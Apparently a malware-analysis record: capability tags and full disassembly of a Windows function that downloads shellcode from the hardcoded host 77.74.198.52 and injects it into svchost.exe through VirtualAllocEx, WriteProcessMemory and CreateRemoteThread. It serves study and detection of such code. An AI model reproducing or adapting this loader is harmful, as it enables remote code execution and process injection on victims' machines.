Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Connect socket
Convert ip address from string
Create thread
Enumerate processes
Execute shellcode via indirect call
Initialize winsock library
Inject thread
Receive data
Receive data on socket
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov ecx, 0x202
lea rdx, [rbp + 0x1f0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400012d0
mov edi, 2
lea edx, [rax + 1]
mov ecx, edi
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400012d0
lea r8, [rbp + 0x1dc]
mov ecx, edi
lea rdx, str.77.74.198.52
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, 0x1bd
mov word [rbp + 0x1d8], di
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rdi + 0xe]
mov rcx, rbx
lea rdx, [rbp + 0x1d8]
mov word [rbp + 0x1da], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x1400012d0
xor r9d, r9d
mov qword [rsp + 0x4b0], rsi
mov r8d, 0x800
lea rdx, [0x140005640]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
mov dword [rbp - 0x70], 0x238
xor edx, edx
mov qword [0x140005840], rax
mov ecx, edi
mov qword [rsp + 0x40], rsi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp - 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400011d3
lea rdi, str.svchost.exe
nop word [rax + rax]
lea rdx, [rbp - 0x44]
mov rax, rsi
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rdi + rax*2]
jne 0x1400011be
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x1400011be
add rax, 2
cmp rax, 0xc
jne 0x140001150
mov eax, dword [rbp - 0x68]
lea r9, [rsp + 0x48]
xorps xmm0, xmm0
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x50], rsi
mov edx, 0x1fffff
mov dword [rsp + 0x58], 0x30
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x60], rsi
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rsp + 0x70], esi
mov qword [rsp + 0x68], rsi
call qword [0x140005840]
test eax, eax
je 0x1400012c6
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001140
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, rsi
xor edx, edx
mov qword [rbp + 0x1d8], rsi
mov r9d, 0x3000
mov dword [rbp + 0x1d0], esi
mov r8d, 0x1fe
mov dword [rsp + 0x20], 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x1fe
lea r8, [0x140005640]
mov rbx, rax
mov rcx, rdi
lea rax, [rbp + 0x1d8]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
lea rcx, [0x140005640]
mov r8d, 0x1fe
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x1d0]
mov r9d, 0x40
mov r8d, 0x1fe
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x30], rsi
mov r9, rbx
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rsi, qword [rsp + 0x4b0]
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.1400012f0
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov rdi, qword [rsp + 0x40]
jmp 0x1400011df
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3